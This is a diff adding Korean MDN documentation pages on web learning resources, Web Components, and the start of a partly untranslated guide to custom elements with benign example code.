+     <dt><a href="http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/" rel="external">고급JavaScript</a> (YUI Blog)</dt>
+     <dd>Douglas Crockford가 자바 스크립트 프로그래머가 제작할 응용프로그램을 선택할 수 있는 코드 패턴을 유사하게 보여드립니다.</dd>
+     <dt><a href="http://bonsaiden.github.com/JavaScript-Garden/" rel="external">JavaScript Garden</a></dt>
+     <dd>자바 스크립트의 가장 독특한 부분을 설명서에서 참조하십시오.</dd>
+     <dt><a href="http://stackoverflow.com/questions/394601/which-javascript-framework-jquery-vs-dojo-vs" rel="external">어떤 JavaScript Framework를?</a> (StackOverflow)</dt>
+     <dd>자바 스크립트 프레임 워크를 선택하는 방법에 대한 조언.</dd>
+     <dt><a href="http://yuiblog.com/blog/2008/07/22/non-blocking-scripts/" rel="external">Non-blocking JavaScript Downloads</a> (YUI Blog)</dt>
+     <dd>자바 스크립트를 포함하는 페이지의 다운로드 성능 향상을 위한 팁을 제공합니다.</dd>
+     <dt><a href="https://developer.mozilla.org/ko/docs/JavaScript/Guide">JavaScript 가이드</a></dt>
+     <dd>초급에서 고급까지 모든 수준을 학습 할 수 있는 포괄적이고 정기적으로 업데이트 되는 자가스크립트 설명서를 참조하십시오.</dd>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td colspan="2">
+    <h2 class="Documentation" id="Documentation" name="Documentation">CSS 학습서</h2>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <h3 id="입문_3">입문</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/ko/docs/CSS/Getting_Started">CSS 시작하기</a></dt>
+     <dd>이 학습서는 Cascading Style Sheets (CSS)를 소개합니다. 이것은 자신의 컴퓨터에 시도할 수 있는 실용적인 예제와 CSS의 기본 기능을 안내합니다.</dd>
+     <dt><a href="http://docs.webplatform.org/wiki/guides/getting_started_with_css" rel="external">CSS 기초</a> (WebPlatform.org)</dt>
+     <dd>CSS가 무엇인지, 어떻게 HTML에 적용하는지, 기본적인 CSS구문은 어떤 것인지. 다음과 같이 배웁니다.</dd>
+     <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_Classes" rel="external">CSS Selector Classes</a> (Wikiversity)</dt>
+     <dd>CSS의 클래스는 무엇입니까?</dd>
+     <dt><a href="http://en.wikiversity.org/wiki/Web_Design/External_CSS" rel="external">외부 CSS</a> (Wikiversity)</dt>
+     <dd>외부 스타일 시트에서 CSS를 사용.</dd>
+     <dt><a href="http://www.w3.org/MarkUp/Guide/Style" rel="external">스타일에서 Touch 추가하기</a> (W3C)</dt>
+     <dd>CSS로 웹페이지를 스타일링 하는 간단한 초보자 가이드.</dd>
+     <dt><a href="https://developer.mozilla.org/ko/docs/Common_CSS_Questions">일반적인 CSS 질문</a></dt>
+     <dd>초보자들을 위한 일반적인 질문 및 응답.</dd>
+     <dt><a href="http://codeavengers.com/" title="http://codeavengers.com/">CodeAvengers</a> (CodeAvengers.com)</dt>
+     <dd>Code Avengers는 HTML, CSS 및 자바스크립트를 사용하여 Code Wep 에플리케이션 및 게임을 배우는 재미있고 효과적인 방법입니다.</dd>
+    </dl>
+
+    <h3 id="중급_2">중급</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/ko/docs/CSS/CSS_Reference">CSS 참조</a></dt>
+     <dd>파이어 폭스와 다른 브라우저에서의 지원에 대한 세부사항, CSS 참조를 작성합니다.</dd>
+     <dt><a href="http://en.wikiversity.org/wiki/Web_Design/CSS_challenges" rel="external">CSS 과제</a> (Wikiversity)</dt>
+     <dd>CSS 기술을 이용해 더 많은 연습을 필요로 하는곳에 참여하십시오.</dd>
+     <dt><a href="http://www.html.net/tutorials/css/" rel="external">중급 CSS 개념</a> (HTML.net)</dt>
+     <dd>Grouping, pseudo-classes 등등.</dd>
+     <dt><a href="http://www.alistapart.com/articles/css-positioning-101/" rel="external">CSS Positioning 101</a> (A List Apart)</dt>
+     <dd>표준을 준수하여 table-free layout을 사용.</dd>
+     <dt><a href="http://www.alistapart.com/articles/progressiveenhancementwithcss/" rel="external">CSS와 점진적 향상</a> (A List Apart)</dt>
+     <dd>CSS로 웹 페이지에 점진적 개선을 통합 할 수 있습니다.</dd>
+     <dt><a href="http://www.alistapart.com/articles/fluidgrids/" rel="external">Fluid Grids</a> (A List Apart)</dt>
+     <dd>typographic grid를 이용하는 동안, 유동적으로 브라우저 창 크키를 조절하는 레이아웃 디자인.</dd>
+    </dl>
+   </td>
+   <td>
+    <h3 id="고급_3">고급</h3>
+
+    <dl>
+     <dt><a href="http://addyosmani.com/blog/css3-screencast/" rel="external">5분 동안의 CSS3</a> (Addy Osmani)</dt>
+     <dd>CSS3 도입 된핵심 기능 중 일부에 대한 간단한 소개.</dd>
+     <dt><a href="https://developer.mozilla.org/ko/docs/CSS/Using_CSS_transforms">CSS를 사용한 변환</a></dt>
+     <dd>회전, 기울이기, 크기 조절 등의 변환을 CSS를 사용하여 적용합니다.</dd>
+     <dt><a href="https://developer.mozilla.org/ko/docs/CSS/CSS_transitions">CSS 전환</a></dt>
+     <dd>CSS 전환, 초안 CSS3 스펙의 일부 대신에 변경 내용이 즉시 적용하는 것에 CSS 속성 변화를 보여주는 방법을 제공합니다.</dd>
+     <dt><a href="http://www.alistapart.com/articles/understanding-css3-transitions/" rel="external">Understanding CSS3 Transitions</a> (A List Apart)</dt>
+     <dd>신중하게 상황을 선택하여 CSS3를 사용하여 전환을 시작합니다.</dd>
+     <dt><a href="http://www.html5rocks.com/tutorials/webfonts/quick/" rel="external">@font-face 윕 font를 구현하기 위한 빠른 안내</a> (HTML5 Rocks)</dt>
+     <dd>CSS3에서 @font-face 기능을 사용하면, 접근 조작 가능하거나 확장 가능한 방식으로 웹에서 사용자 지정 글꼴을 사용할 수 있습니다.</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/ko/web/web_components/index.html b/files/ko/web/web_components/index.html
new file mode 100644
index 0000000000..f097979a1b
--- /dev/null
+++ b/files/ko/web/web_components/index.html
@@ -0,0 +1,223 @@
+---
+title: 웹 컴포넌트
+slug: Web/Web_Components
+tags:
+  - Landing
+  - NeedsTranslation
+  - Template
+  - Web Components
+  - custom elements
+  - slot
+  - 웹 컴포넌트
+translation_of: Web/Web_Components
+---
+<p>{{DefaultAPISidebar("Web Components")}}</p>
+
+<div class="summary">
+<p>웹 컴포넌트는 그 기능을 나머지 코드로부터 캡슐화하여 재사용 가능한 커스텀 엘리먼트를 생성하고 웹 앱에서 활용할 수 있도록 해주는 다양한 기술들의 모음입니다.</p>
+</div>
+
+<h2 id="개념_및_사용">개념 및 사용</h2>
+
+<p>개발자로서 우리 모두는 가능한 한 코드를 재사용하는 것이 좋은 생각이라는 것을 알고 있습니다. 이는 전통적으로 커스텀 마크업 구조에선 쉽지 않았습니다. 커스텀 UI 컨트롤을 렌더링하기위해 작성해야하는 복잡한 HTML (및 관련된 스타일과 스크립트)을 생각해보십시오. 여러번 사용할 때 조심하지 않으면 페이지가 엉망이 될 수 있습니다.</p>
+
+<p>웹 컴포넌트는 다음 문제들을 해결하는 것을 목표로 합니다 — 세 가지 주요 기술들로 구성되며, 재사용을 원하는 어느곳이든 코드 충돌에 대한 걱정이 없는 캡슐화된 기능을 갖춘 다용도의 커스텀 엘리먼트를 생성하기 위해 함께 사용될 수 있습니다.</p>
+
+<p><strong>커스텀 엘리먼트</strong>: 커스텀 엘리먼트와 그 동작을 정의할 수 있도록 해주는 JavaScript API 의 집합으로, 사용자 인터페이스에서 원했던대로 사용될 수 있습니다.</p>
+
+<ul>
+ <li><strong>Custom elements</strong>: 사용자 인터페이스에서 원하는대로 사용할 수있는 사용자 정의 요소 및 해당 동작을 정의 할 수있는 JavaScript API 세트입니다.</li>
+ <li><strong>Shadow DOM</strong>: 캡슐화된 "그림자" DOM 트리를 엘리먼트 — 메인 다큐먼트 DOM 으로부터 독립적으로 렌더링 되는 — 를 추가하고 연관된 기능을 제어하기 위한 JavaScript API 의 집합. 이 방법으로 엘리먼트의 기능을 프라이빗하게 유지할 수 있어, 다큐먼트의 다른 부분과의 충돌에 대한 걱정 없이 스크립트와 스타일을 작성할 수 있습니다.</li>
+ <li><strong>HTML 템플릿</strong>: {{HTMLElement("template")}} 과 {{HTMLElement("slot")}} 엘리먼트는 렌더링된 페이지에 나타나지 않는 마크업 템플릿을 작성할 수 있게 해줍니다. 그 후, 커스텀 엘리먼트의 구조를 기반으로 여러번 재사용할 수 있습니다.</li>
+</ul>
+
+<p>웹 컴포넌트를 구현하기 위한 기본 접근법은 일반적으로 다음과 같습니다.</p>
+
+<ol>
+ <li>ECMAScript 2015 클래스 문법(자세한 내용은 <a href="/ko/docs/Web/JavaScript/Reference/Classes">Classes</a>에서 확인)을 사용해 웹 컴포넌트 기능을 명시하는 클래스를 생성합니다.</li>
+ <li>{{domxref("CustomElementRegistry.define()")}} 메소드를 사용해 새로운 커스텀 엘리먼트를 등록하고, 정의할 엘리먼트 이름, 기능을 명시하고 있는 클래스, (선택적으로) 상속받은 엘리먼트를 전달합니다.</li>
+ <li>필요한 경우, {{domxref("Element.attachShadow()")}} 메소드를 사용해 shadow DOM 을 커스텀 엘리먼트에 추가합니다. 일반적인 DOM 메소드를 사용해 자식 엘리먼트, 이벤트 리스너 등을 shadow DOM 에 추가합니다.</li>
+ <li>필요한 경우, {{htmlelement("template")}} 과 {{htmlelement("slot")}} 을 사용해 HTML 템플릿을 정의합니다. 다시 일반적인 DOM 메소드를 사용해 템플릿을 클론하고 shadow DOM 에 추가합니다.</li>
+ <li>일반적인 HTML 엘리먼트처럼, 페이지의 원하는 어느곳이든 커스텀 엘리먼트를 사용할 수 있습니다.</li>
+</ol>
+
+<h2 id="튜토리얼">튜토리얼</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/Web_Components/Using_custom_elements">커스텀 엘리먼트 사용하기</a></dt>
+ <dd>간단한 웹 컴포넌트를 생성하는 커스텀 엘리먼트의 기능을 사용하는 방법과 라이프사이클 콜백 및 그 외 고급 기능들을 보여주는 가이드입니다.</dd>
+ <dt><a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM 사용하기</a></dt>
+ <dd>shadow DOM 기본을 살펴보고, shadow DOM 을 엘리먼트에 추가하고, shadow DOM 트리를 추가하고 스타일링하는 방법 등을 보여주는 가이드입니다.</dd>
+ <dt><a href="/ko/docs/Web/Web_Components/Using_templates_and_slots">템플릿과 슬롯 사용하기</a></dt>
+ <dd>{{htmlelement("template")}} 과 {{htmlelement("slot")}} 엘리먼트를 사용해 재사용가능한 HTML 구조를 정의하는 방법과 웹 컴포넌트 내에서 그 구조를 사용하는 방법을 보여주는 가이드입니다.</dd>
+</dl>
+
+<h2 id="레퍼런스">레퍼런스</h2>
+
+<h3 id="커스텀_엘리먼트">커스텀 엘리먼트</h3>
+
+<dl>
+ <dt>{{domxref("CustomElementRegistry")}}</dt>
+ <dd>커스텀 엘리먼트와 관련된 기능을 포함하며, 새로운 커스텀 엘리먼트를 등록하여 다큐먼트에서 사용할 수 있도록 해주는 {{domxref("CustomElementRegistry.define()")}} 메소드가 가장 주요합니다.</dd>
+ <dt>{{domxref("Window.customElements")}}</dt>
+ <dd><code>CustomElementRegistry</code> 객체에 대한 참조를 반환합니다.</dd>
+ <dt><a href="/ko/docs/Web/Web_Components/Using_custom_elements#Using_the_lifecycle_callbacks">라이프 사이클 콜백</a></dt>
+ <dd>커스텀 엘리먼트의 클래스 정의 내에 정의되어 동작에 영향을 주는 특별한 콜백 함수입니다.
+ <ul>
+  <li><code>connectedCallback</code>: 커스텀 엘리먼트가 처음으로 다큐먼트의 DOM 에 연결되었을 때 호출됩니다.</li>
+  <li><code>disconnectedCallback</code>: 커스텀 엘리먼트가 다큐먼트의 DOM 으로부터 연결 해제되었을 때 호출됩니다.</li>
+  <li><code>adoptedCallback</code>: 커스텀 엘리먼트가 새로운 다큐먼트로 이동되었을 때 호출됩니다.</li>
+  <li><code>attributeChangedCallback</code>: 커스텀 엘리먼트의 어트리뷰트가 추가, 제거 또는 변경되었을  때 호출됩니다.</li>
+ </ul>
+ </dd>
+ <dd>
+ <ul>
+ </ul>
+ </dd>
+</dl>
+
+<dl>
+ <dt>커스텀 내장 엘리먼트 생성을 위한 확장 기능</dt>
+ <dd>
+ <ul>
+  <li>{{htmlattrxref("is")}} 전역 HTML 어트리뷰트: 표준 HTML 엘리먼트가 등록된 커스텀 내장 엘리먼트처럼 동작하도록 지정을 허용합니다.</li>
+  <li>{{domxref("Document.createElement()")}} 메소드의 "is" 옵션: 주어진 등록된 커스텀 내장 엘리먼트처럼 동작하는 표준 HTML 엘리먼트의 인스턴스를 생성하는 것을 허용합니다.</li>
+ </ul>
+ </dd>
+ <dt>CSS 수도(pseudo) 클래스</dt>
+ <dd>커스텀 엘리먼트에 관련된 수도 클래스입니다.
+ <ul>
+  <li>{{cssxref(":defined")}}: 내장 엘리먼트와 <code>CustomElementRegistry.define()</code> 으로 정의된 커스텀 엘리먼트를 포함해, 정의된 모든 엘리먼트와 일치합니다.</li>
+  <li>{{cssxref(":host")}}: 대상 CSS 를 내부에 포함하고 있는 <a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> 의 shadow 호스트를 선택합니다.</li>
+  <li>{{cssxref(":host()")}}: 대상 CSS 를 내부에 포함하고 있는 <a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> 의 shadow 호스트를 선택합니다(따라서 shadow DOM 내부에서 커스텀 엘리먼트를 선택할 수 있습니다) — 함수의 파라미터로써 주어진 셀렉터가 shadow 호스트에 일치하는 경우에만 해당합니다.</li>
+  <li>{{cssxref(":host-context()")}}: 대상 CSS 를 내부에 포함하고 있는 <a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> 의 shadow 호스트를 선택합니다(따라서 shadow DOM 내부에서 커스텀 엘리먼트를 선택할 수 있습니다) — 함수의 파라미터로써 주어진 셀렉터가 DOM 계층 내에 위치한 shadow 호스트의 조상에 일치하는 경우에만 해당합니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Shadow_DOM">Shadow DOM</h3>
+
+<dl>
+ <dt>{{domxref("ShadowRoot")}}</dt>
+ <dd>shadow DOM 하위 트리의 루트 노드를 나타냅니다.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot")}}</dt>
+ <dd>다큐먼트와 shadow 루트 모두에서 사용가능한 기능을 정의하는 믹스인</dd>
+ <dt>{{domxref("Element")}} 확장 기능</dt>
+ <dd>shadow DOM 에 관련된 <code>Element</code> 인터페이스의 확장 기능입니다.
+ <ul>
+  <li>{{domxref("Element.attachShadow()")}} 메소드는 shadow DOM 트리를 지정된 엘리먼트에 추가합니다.</li>
+  <li>{{domxref("Element.shadowRoot")}} 프로퍼티는 지정된 엘리먼트에 추가된 shadow 루트를 반환합니다. 추가된 shadow 루트가 없을 경우 <code>null</code> 을 반환합니다.</li>
+ </ul>
+ </dd>
+ <dt>{{domxref("Node")}} 추가 관련</dt>
+ <dd>shadow DOM 과 관련된 <code>Node</code> 인터페이스에 추가
+ <ul>
+  <li>{{domxref("Node.getRootNode()")}} 메소드는 사용 가능한 shadow 루트가 있을 경우 선택적으로 이를 포함하는 컨텍스트의 객체의 루트를 반환합니다.</li>
+  <li>{{domxref("Node.isConnected")}} 프로퍼티는 노드가 직접 또는 간접적으로 컨텍스트 객체(예를 들면, 일반 DOM 의 경우 {{domxref("Document")}} 객체, shadow DOM 의 경우 {{domxref("ShadowRoot")}})에 연결되었는지를 나타내는 boolean 을 반환합니다.</li>
+ </ul>
+ </dd>
+ <dt>{{domxref("Event")}} 확장 기능</dt>
+ <dd>shadow DOM 과 관련된 <code>Event</code> 인터페이스의 확장 기능
+ <ul>
+  <li>{{domxref("Event.composed")}}: 이벤트가 shadow DOM 영역을 거쳐 일반 DOM 으로 전파 되는지를 나타내는 {{jsxref("Boolean")}} 을 반환합니다(전파되면 <code>true</code>, 그렇지 않으면 <code>false</code>) </li>
+  <li>{{domxref("Event.composedPath")}}: 이벤트의 패스(이벤트가 호출될 객체)를 반환합니다. shadow 루트가 {{domxref("ShadowRoot.mode")}} closed 로 생성된경우 shadow 트리의 노드를 포함하지 않습니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="HTML_템플릿">HTML 템플릿</h3>
+
+<dl>
+ <dt>{{htmlelement("template")}}</dt>
+ <dd>다큐먼트가 처음 로드될 때 렌더링되지 않지만 JavaScript를 사용하는 런타임에 나타나는 HTML 조각을 포함합니다. 주로 커스텀 엘리먼트 구조의 기본으로 사용됩니다. 관련된 DOM 인터페이스로 {{domxref("HTMLTemplateElement")}} 가 있습니다.</dd>
+ <dt>{{htmlelement("slot")}}</dt>
+ <dd>자신만의 마크업으로 채울 수 있는 웹 컴포넌트 내부의 placeholder 입니다. 별도의 DOM 트리로 생성하고 함께 보여줄 수 있게 해줍니다. 관련된 DOM 인터페이스로 {{domxref("HTMLSlotElement")}} 가 있습니다.</dd>
+ <dt><code><a href="/ko/docs/Web/HTML/Global_attributes/slot">slot</a></code> 전역 HTML 어트리뷰트</dt>
+ <dd>shadow DOM shadow 트리내의 slot을 엘리먼트로 할당합니다.</dd>
+ <dt>{{domxref("Slotable")}}</dt>
+ <dd>{{domxref("Element")}} 와 {{domxref("Text")}} 노드로 구현된 믹스인입니다. {{htmlelement("slot")}} 엘리먼트의 컨텐츠로 만들기 위한 기능들을 정의합니다. 믹스인은 노드가 삽입된 슬롯의 참조를 반환하는 하나의 어트리뷰트 {{domxref("Slotable.assignedSlot")}} 을 정의합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Element")}} 확장 기능</dt>
+ <dd>슬롯과 관련된 <code>Element</code> 인터페이스 확장 기능
+ <ul>
+  <li>{{domxref("Element.slot")}}: 엘리먼트에 추가된 shadow DOM 슬롯의 이름을 반환합니다.</li>
+ </ul>
+ </dd>
+ <dt>CSS 수도(pseudo) 엘리먼트</dt>
+ <dd>슬롯과 관련된 수도 엘리먼트입니다.
+ <ul>
+  <li>{{cssxref("::slotted")}}: 슬롯으로 삽입된 모든 컨텐츠와 일치합니다.</li>
+ </ul>
+ </dd>
+ <dt>{{event("slotchange")}} 이벤트</dt>
+ <dd>슬롯에 포함된 노드가 변경될 때 {{domxref("HTMLSlotElement")}} 인스턴스({{htmlelement("slot")}} 엘리먼트)에서 실행됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="https://github.com/mdn/web-components-examples">web-components-examples</a> GitHub 저장소에 많은 예제를 생성하였습니다. 더 많은 예제가 추가될 예정입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG","scripting.html#the-template-element","&lt;template&gt; element")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>{{HTMLElement("template")}} 의 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG","custom-elements.html#custom-elements","custom elements")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td><a href="https://developer.mozilla.org/ko/docs/Web/Web_Components/Using_custom_elements">HTML 커스텀 엘리먼트</a>의 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG","#shadow-trees","shadow trees")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td><a href="https://developer.mozilla.org/ko/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a> 의 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML Imports", "", "")}}</td>
+   <td>{{Spec2("HTML Imports")}}</td>
+   <td>초기 <a href="https://developer.mozilla.org/ko/docs/Web/Web_Components/HTML_Imports">HTML Imports</a> 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Shadow DOM", "", "")}}</td>
+   <td>{{Spec2("Shadow DOM")}}</td>
+   <td>초기 <a href="https://developer.mozilla.org/ko/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a> 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p> </p>
+
+<p>일반적인 경우,</p>
+
+<ul>
+ <li>웹 컴포넌트는 기본적으로 Firefox (버전 63), Chrome, 및 Opera 에서 지원됩니다.</li>
+ <li>Safari 는 많은 웹 컴포넌트 기능을 지원하지만 위 브라우저들만큼은 아닙니다.</li>
+ <li>Edge 는 구현 작업중입니다.</li>
+</ul>
+
+<p>특정 기능들의 브라우저 지원에 대한 상세 내용은, 위에 나열된 레퍼런스 페이지들에서 찾아보시기 바랍니다.</p>
+
+<p> </p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://www.webcomponents.org/">webcomponents.org</a> — 웹 컴포넌트 예제, 튜토리얼 등의 정보를 포함하는 사이트.</li>
+ <li><a href="https://github.com/hybridsjs/hybrids">Hybrids</a> — 오픈 소스 웹 컴포넌트 라이브러리. <code>class</code> 와 <font face="consolas, Liberation Mono, courier, monospace">this</font> 문법보다 일반 객체와 순수 함수를 선호합니다. 커스텀 엘리먼트 생성을 위한 간단한 함수형 API 를 제공합니다.</li>
+ <li><a href="https://www.polymer-project.org/">Polymer</a> — 구글의 웹 컴포넌트 프레임워크 — 폴리필, 확장 및 예제의 집합. 현재 크로스 브라우징 웹 컴포넌트를 사용하는 가장 쉬운 방법.</li>
+ <li><a href="https://github.com/devpunks/snuggsi#readme">Snuggsi.es</a> — 폴리필 포함 ~1kB 크기의 쉬운 웹 컴포넌트 — 브라우저와 HTML, CSS, JavaScript 클래스에 대한 기본 이해만으로 생산성을 높일 수 있습니다.</li>
+ <li><a href="https://github.com/slimjs/slim.js">Slim.js</a> — 오픈 소스 웹 컴포넌트 라이브러리 — 빠르고 쉬운 컴포넌트 작성을 위한 고성능 라이브러리; 확장 가능하며 플러거블하고 크로스 프레임워크와 호환됩니다.</li>
+</ul>
diff --git a/files/ko/web/web_components/using_custom_elements/index.html b/files/ko/web/web_components/using_custom_elements/index.html
new file mode 100644
index 0000000000..c98c6aa275
--- /dev/null
+++ b/files/ko/web/web_components/using_custom_elements/index.html
@@ -0,0 +1,248 @@
+---
+title: 커스텀 엘리먼트 사용하기
+slug: Web/Web_Components/Using_custom_elements
+tags:
+  - Classes
+  - Guide
+  - HTML
+  - Web Components
+translation_of: Web/Web_Components/Using_custom_elements
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p class="summary">웹 컴포넌트 표준의 주요 기능 중 하나는 HTML 페이지에 커스텀 페이지 기능을 함께 제공하는 엘리먼트의 길고 중첩된 묶음을 만드는 것보다 사용자의 기능이 캡슐화된 커스텀 엘리먼트를 생성하는 기능입니다. 이 문서는 HTML 커스텀 엘리먼트의 사용을 소개합니다.</p>
+
+<div class="note">
+<p><strong>노트</strong>: 커스텀 엘리먼트는 크롬과 오페라에서 기본으로 제공됩니다. 최근에는 사용자가 두 브라우저에서  <code>dom.webcomponents.shadowdom.enabled</code> 과 <code>dom.webcomponents.customelements.enabled</code> 를 <code>true</code> 로 설정하면 사용가능합니다. 파이어폭스는 버전 60/61에서 기본으로 사용할 수 있도록 계획되었습니다. 사파리는 지금까지 <a href="https://w3c.github.io/webcomponents/spec/custom/#autonomous-custom-element">Autonomous custom elements</a>만을 제공하고 엣지 또한 잘 구현되어 있습니다.</p>
+</div>
+
+<h2 id="중요내용_보기">중요내용 보기</h2>
+
+<p>웹 document의 커스텀 엘리먼트의 컨트롤러는 {{domxref("CustomElementRegistry")}} 오브젝트입니다. 이 오브젝트는 사용자가 페이지에서 커스텀 엘리먼트를 등록하도록 하며 등록된 커스텀 컴포넌트의 정보 등을 리턴합니다.</p>
+
+<p>페이지에 커스텀 엘리먼트를 등록하려면 {{domxref("CustomElementRegistry.define()")}} 메소드를 사용하십시오. 이 메소드는 다음과 같은 인자들을 사용합니다. </p>
+
+<ul>
+ <li>{{domxref("DOMString")}} 은 사용자가 엘리먼트에게 전달하려는 이름을 나타냅니다. 커스텀 엘리먼트 이름들은 <a href="https://stackoverflow.com/questions/22545621/do-custom-elements-require-a-dash-in-their-name">dash('-')가 포함된 이름을 사용하도록</a> 주의하십시오. 이 이름들은 한 단어가 될 수 없습니다. (예 : custom-my-element)  </li>
+ <li>엘리먼트의 행위가 정의된 <a href="/en-US/docs/Web/JavaScript/Reference/Classes">class</a> 오브젝트.</li>
+ <li>선택적으로, 커스텀 엘리먼트는 특정 내장 엘리먼트를 상속받도록 지정할 수 있는 옵션 객체   <code>extends</code> 속성을 포함합니다.</li>
+</ul>
+
+<p>예를 들면, 우리는 커스텀 <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">word-count element</a> 를 아래와 같이 정의할 수 있습니다 :</p>
+
+<pre class="brush: js notranslate">customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<p>이 엘리먼트는 <code>word-count</code> 로 불리며 클래스 오브젝트는 <code>WordCount</code> 입니다. 또한 {{htmlelement("p")}} 엘리먼트를 상속받습니다.</p>
+
+<p>커스텀 엘리먼트의 클래스 오브젝트는 표준 ES 2015 클래스 문법으로 작성됩니다. 예를 들면, <code>WordCount</code> 는 다음과 같은 구조입니다 :</p>
+
+<pre class="brush: js notranslate">class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // 항상 생성자에서 super는 처음으로 호출됩니다
+    super();
+
+    // 엘리먼트의 기능들은 여기에 작성합니다.
+
+    ...
+  }
+}</pre>
+
+<p>위의 예제는 매우 간단하지만, 더 많은 것들을 할 수 있습니다. 특정 지점에서 실행되는 생성자 내부에서 특정 지점에서 실행하는 생명주기 콜백을 정의할 수 있습니다. 예를 들면, <code>connectedCallback</code> 은 커스텀 엘리먼트가 document의 DOM에 연결될 때마다 호출되는 반면, <code>attributeChangedCallback</code>은 커스텀 엘리먼트의 애트리뷰트가 추가, 제거 또는 변경될때 호출됩니다.</p>
+
+<p>아래의 {{anch("Using the lifecycle callbacks")}} 부분에서 이러한 부분을 더 배울 수 있습니다.</p>
+
+<p>커스텀 엘리먼트에는 두 종류가 있습니다:</p>
+
+<ul>
+ <li><strong>Autonomous custom elements</strong> are standalone — they don't inherit from standard HTML elements. You use these on a page by literally writing them out as an HTML element. For example <code>&lt;popup-info&gt;</code>, or <code>document.createElement("popup-info")</code>.</li>
+ <li><strong>Customized built-in elements</strong> inherit from basic HTML elements. To create one of these, you have to specify which element they extend (as implied in the examples above), and they are used by writing out the basic element but specifying the name of the custom element in the {{htmlattrxref("is")}} attribute (or property). For example <code>&lt;p is="word-count"&gt;</code>, or <code>document.createElement("p", { is: "word-count" })</code>.</li>
+</ul>
+
+<h2 id="Working_through_some_simple_examples">Working through some simple examples</h2>
+
+<p>At this point, let's go through some more simple examples to show you how custom elements are created in more detail.</p>
+
+<h3 id="Autonomous_custom_elements">Autonomous custom elements</h3>
+
+<p>Let's have a look at an example of an autonomous custom element — <code><a href="https://github.com/mdn/web-components-examples/tree/master/popup-info-box-web-component">&lt;popup-info-box&gt;</a></code> (see a <a href="https://mdn.github.io/web-components-examples/popup-info-box-web-component/">live example</a>). This takes an image icon and a text string, and embeds the icon into the page. When the icon is focused, it displays the text in a pop up information box to provide further in-context information.</p>
+
+<p>To begin with, the JavaScript file defines a class called <code>PopUpInfo</code>, which extends {{domxref("HTMLElement")}}. Autonomous custom elements nearly always extend <code>HTMLElement</code>.</p>
+
+<pre class="brush: js notranslate">class PopUpInfo extends HTMLElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // write element functionality in here
+
+    ...
+  }
+}</pre>
+
+<p>The preceding code snippet contains the {{jsxref("Classes.constructor","constructor")}} definition for the class, which always starts by calling <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super()</a></code> so that the correct prototype chain is established.</p>
+
+<p>Inside the constructor, we define all the functionality the element will have when an instance of it is instantiated. In this case we attach a shadow root to the custom element, use some DOM manipulation to create the element's internal shadow DOM structure — which is then attached to the shadow root — and finally attach some CSS to the shadow root to style it.</p>
+
+<pre class="brush: js notranslate">// Create a shadow root
+var shadow = this.attachShadow({mode: 'open'});
+
+// Create spans
+var wrapper = document.createElement('span');
+wrapper.setAttribute('class','wrapper');
+var icon = document.createElement('span');
+icon.setAttribute('class','icon');
+icon.setAttribute('tabindex', 0);
+var info = document.createElement('span');
+info.setAttribute('class','info');
+
+// Take attribute content and put it inside the info span
+var text = this.getAttribute('text');
+info.textContent = text;
+
+// Insert icon
+var imgUrl;
+if(this.hasAttribute('img')) {
+  imgUrl = this.getAttribute('img');
+} else {
+  imgUrl = 'img/default.png';
+}
+var img = document.createElement('img');
+img.src = imgUrl;
+icon.appendChild(img);
+
+// Create some CSS to apply to the shadow dom
+var style = document.createElement('style');
+
+style.textContent = '.wrapper {' +
+// CSS truncated for brevity
+
+// attach the created elements to the shadow dom
+
+shadow.appendChild(style);
+shadow.appendChild(wrapper);
+wrapper.appendChild(icon);
+wrapper.appendChild(info);</pre>
+
+<p>Finally, we register our custom element on the <code>CustomElementRegistry</code> using the <code>define()</code> method we mentioned earlier — in the parameters we specify the element name, and then the class name that defines its functionality:</p>
+
+<pre class="brush: js notranslate">customElements.define('popup-info', PopUpInfo);</pre>
+
+<p>It is now available to use on our page. Over in our HTML, we use it like so:</p>
+
+<pre class="brush: html notranslate">&lt;popup-info img="img/alt.png" text="Your card validation code (CVC)
+  is an extra security feature — it is the last 3 or 4 numbers on the
+  back of your card."&gt;</pre>
+
+<div class="note">
